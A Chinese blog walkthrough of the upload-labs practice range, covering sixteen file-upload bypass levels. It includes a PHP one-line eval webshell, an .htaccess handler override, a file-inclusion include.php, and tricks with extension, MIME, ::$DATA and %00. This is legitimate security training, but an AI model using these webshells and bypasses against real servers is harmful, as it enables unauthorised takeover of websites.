文件上传漏洞之upload-labs打靶笔记

(一)文件上传漏洞

(1)文件上传漏洞的定义

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

(2)webshell 的定义

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录

(3)判断上传漏洞的方法

详情请见:文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)_Fasthand_的博客-CSDN博客_uaf漏洞

(二)upload-labs 的安装

upload-labs 是练习文件上传很好的一个靶场,对于学习文件上传漏洞有很大帮助

靶场包含的漏洞类型分类

下载地址:c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 (github.com)

phpstudy 也是必须要下载的,这个请自行下载。

upload-labs下载完成后将解压后的文件放到 phpstudy 的 WWW 目录下,如果安装后的文件名为upload-labs-master ,请将 -master 删去,不然没办法正常显示。

并且在upload-labs目录下新建一个upload 的文件夹,用于储放我们打靶上传的文件。

然后我们 win + r ,输入cmd,输入ipconfig 查看自己的ipv4 地址,这个是防止有些人用127.0.0.1 本地地址burp suite抓不到包,之后打开浏览器输入 自己的ip地址/upload-labs 

 如果出现这个页面就是成功了。

(三)pass1-19

(1)pass-01

法一:让我们上传一个webshell 到服务器,我们看一下源码

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

只允许我们上传jpg、png、gif 类型的文件,但是我们要上传的是php类型的文件,因为要拿到webshell,所以需要一句话木马

这里看到只是前端对其进行了限制,那么我们可以用burp suite来改变后缀,首先我们创建一个txt文件,输入

<?php @eval($_POST['123'])?;>

这是最简单的php 一句话木马,再将txt 改为jpg或png或gif,打开burp suite,开启浏览器代理,然后开始拦截

我这里用的代理是chrome浏览器的一个插件:SwitchyOmega,也可以用浏览器直接设置

 

 

将这个png 改为php,然后点击 forward上传,之后我们可以验证一下 

如果你有中国菜刀或中国蚁剑的话可以连一下,

 之后就拿到webshell 了,蚁剑一样的操作这里就不演示了,如果没有的话,可以直接在浏览器上访问,可能会没有回显,但是只要页面没报错都说明操作是正确的,也可以去根目录下的upload文件夹中看等等……

法二:我们按f12打开开发者工具,将该网页的全部源码复制下来,放到一个空的txt文件中,将文件中的

这些代码删除,再加上

之后将后缀名改为 html,在打开就可以直接上传php文件了。验证和上面方法一样的。

(2)pass-02

打开代码,看一下发现是验证文件类型的,也就是验证 MIME 信息,

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}

所以进行抓包,将Content-Type修改为允许上传的类型(image/jpeg、image/png、image/gif)三选一。

验证的话和上一关一样的

(3)pass-03 

这里我们随便上传一个php文件,显示

可以猜测为黑名单绕过,再看一下源码

但是如果黑名单定义不完整的话是可以实现绕过的,可以用.phtml .phps .php5 .pht进行绕过。这里就用php5来绕过

直接上传一个后缀名为php5的一句话木马文件,然后访问

注:要想上传后能执行,要在自己的apache 的 httpd.conf 文件写入

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

该文件位置位于 phpstudy\phpstudy_pro\Extensions\Apache2.4.39\conf

之后浏览器访问一下

成功

(4)pass-04 

这一次禁止上传的文件太多了

 但是还有一个 .hatccess 可以使用

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。

我们首先创建一个 .hatccess 的文件,注意不能有任何名字,单纯只是 .hatccess,在里面写入

<FilesMatch "4.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这段代码的意思是将该目录下文件名为 4.jpg 的文件解析为 .php,将他上传上去,然后我们再创建一个带有一句话木马的4.jpg 文件,然后上传上去,用蚁剑连一下验证成功

如果以上操作不行,请在 httpd.conf 中

将none 改为 all

(5)pass-05 

看一下源码,发现将 .hatccess 过滤了,但是没有将我们输入的小写,所以可以用大小写绕过

传一个后缀为 .Php 的即可

(6)pass-06

看一下源码,和前面对比一下很容易发现这里少了删去空格,所以这是空格绕过

传一个php文件上去,然后再抓包,在php 后面加上空格即可

(7)pass-07

没有对后缀名末尾的点进行处理,利用windows特性,会自动去掉后缀名中最后的”.”,

在burp suite里面改

后面加个 "." ,

(8)pass-08

::$DATA 绕过

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

burp suite里面改一下

(9)pass-09 

这里我们分析一下源码

$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

先删除文件末尾的".",然后是小写,删除字符串,首尾去空,所以我们可以构造

.php. .的后缀,即php 后面加上点+空格+点的组合

strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

(10)pass-10

查看源码

$file_name = str_ireplace($deny_ext,"", $file_name);

这句话的意思是将上面黑名单中的后缀名全部替换为空,所以我们采用双写绕过

即 .pphphp ,这样会将中间这个php 删除,然后前后两个字符串合起来成为一个新的php

(11)pass-11

这一关是白名单绕过

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

$img_path这个变量直接是拼接的,代表上传目录是可控的,可以使用 %00 截断后面的,

注:如果不行应该是php版本问题,调成低于5.3.4即可

(12)pass-12

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

 发现这里变成了post,其他都一样,所以还是%00截断,但是post方式不像get会对%00进行解码,所以我们要手动进行解码

(13)pass-13

看代码

$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);

只检查图标内容的前两个字节,所以直接制作图片马即可,在一句话木马前加上GIF 89A就可以转换成为gif文件了

上传成功,但是上传成功后变成了gif 文件,我们还需要利用文件包含漏洞写一个 include.php 传入,再利用它来解析图片

##include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

将它放入upload-labs里面,再结合文件包含解析利用

upload-labs/include.php?file=upload/图片名称

 (14)pass-14

这里我们先了解一个函数:getimagesize

这个函数的意思是:会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的

php getimagesize 函数 – 获取图像信息 | 菜鸟教程 (runoob.com)

方法同13关

(15)pass-15

看到了exif_imagetype,利用php_exif来判断文件类型,用图片马绕过,方法同PASS-13

(16)pass-16

第十七关主要是把二次渲染绕过 imagecreatefromjpeg()函数

二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。

进行通关
按照原来的方法进行上传,我们可以发现还是可以上传的,但是配合包含漏洞却无法解析,这时我们把上传的图片复制下来用Notepad打开,发现我们原来写的php代码没有了,这就是二次渲染把我们里面的php代码删掉了。

我们把原图和他修改过的图片进行比较,看看哪个部分没有被修改。将php代码放到没有被更改的部分,配合包含漏洞,就可以了。

法二:我们先上传一个图片,再将这个图片保存下来,此时这张图片已经被渲染了,我们此时再用13关那种方法就可以了

【文件上传绕过】——二次渲染漏洞_剑客 getshell的博客-CSDN博客_二次渲染文件上传绕过

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

清丶酒孤欢ゞ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值